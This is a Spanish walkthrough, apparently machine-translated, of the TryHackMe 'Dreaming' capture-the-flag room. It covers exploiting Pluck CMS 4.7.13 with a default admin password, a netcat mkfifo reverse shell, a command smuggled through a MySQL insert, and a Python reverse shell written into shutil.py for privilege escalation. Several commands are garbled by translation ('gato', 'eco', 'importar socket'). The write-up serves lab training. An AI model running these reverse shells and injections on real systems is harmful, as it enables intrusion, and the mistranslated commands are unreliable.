Cubrimos TryHackMe Soñando desafío en el que demostramos conceptos de pruebas de penetración, como explotar una versión vulnerable de Pluck CMS para obtener un shell inverso. Luego comenzamos el proceso de escalada horizontal de privilegios de Linux. Nos movíamos entre varios usuarios con privilegios alternos como www-data, lucien, death y morpheus. Una combinación de permisos de archivos débiles, privilegios asignados incorrectamente y credenciales codificadas nos permitieron escalar privilegios al usuario más alto, Morpheus, y concluir el desafío.

Obtener notas OSCP

El curso completo y práctico de pruebas de penetración de aplicaciones web

Vídeos destacados

Lo primero que vamos a comenzar, como puede ver, con el escaneo de Nmap que revela dos puertos abiertos, a saber, 22 y 80.
Comenzamos con la página web en el puerto 80 y es la página predeterminada de Apache, lo que nos obliga a usar gobuster para revelar el directorio /app.
Entonces, la ruta revela que puede ver la aplicación directamente junto con la tecnología utilizada en el servidor web, que es CMS junto con la versión 4.7.13. La versión recibe la tecnología del software, por lo que debe buscar el exploit correspondiente utilizando searchsploit. El exploit requiere un acceso autenticado que se puede obtener haciendo clic en el enlace "admin" y usando "contraseña" como contraseña para iniciar sesión en el panel de administración de Pluck CMS. Por lo tanto, tenemos los requisitos para ejecutar el exploit y cargar el webshell.

Desde el webshell, podemos usar el shell inverso de netcat: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.81.146 4547 >/tmp/f

Entonces vemos que tenemos dos scripts de Python debajo /optar uno es getdreams.py y el otro es test.py que contiene la contraseña en texto plano del usuario Lucien.
Siguiente usando sudo-l para ver los privilegios del usuario lucio para descubrir que Lucien puede ejecutar lo siguiente como usuario muerte

sudo -u muerte /user/lib/python3.8 /home/death/getDreams.py

GetDreams.py es un script de Python para realizar algunas operaciones en mi servidor SQL, entonces, ¿por qué no deberíamos iniciar sesión en mi servidor SQL y descubrir qué está pasando? ¿Bien? Entonces, ¿cómo mirar en mi servidor SQL? Echamos un vistazo al archivo de historial de bash del usuario. lucio:

gato .bash_history El resultado revelará el comando completo para iniciar sesión en el servidor MYSQL.

Cuando iniciemos sesión en mi servidor SQL, iniciaremos el proceso de enumeración de MySQL, así que primero mostramos las bases de datos, como puede ver, tenemos una base de datos única llamada Biblioteca.

mostrar bases de datos;

utilizar la biblioteca;

seleccione * de los sueños;

INSERTAR EN sueños (soñador, sueño) VALORES (“inyección”, “$(/bin/bash)”;

Sabemos que Lucian puede ejecutar el script de Python como sudo, así que ahora, si lo ejecutas, tendremos shell como usuario muerto.

Entonces desde el www-datos en lucien y ahora a la Morfeo usuario.
Entonces, cómo escalar privilegios, primero observe en particular el contenido del directorio que pertenece a ese usuario. Veré que hay un script llamado restaurar.py que es un script de Python. Si echamos un vistazo al script de Python que vemos que utiliza. callar módulo en Python para realizar la copia de seguridad. Entonces, un vistazo rápido a este archivo en /usr/lib/python3.8/shutil.py revela que el grupo muerte podemos editar en este archivo, por lo que insertamos un shell inverso de Python después de anular su contenido para obtener el último shell como Morfeo usuario.

eco “” > /usr/lib/python3.8/shutil.py

echo “importar socket,subproceso;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,4242));subprocess.call([“/bin/sh”,” -i”],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())” > /usr/lib/python3.8/shutil.py

Respuestas de la habitación

¿Qué es la Bandera Lucien?
¿Qué es la Bandera de la Muerte?

Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos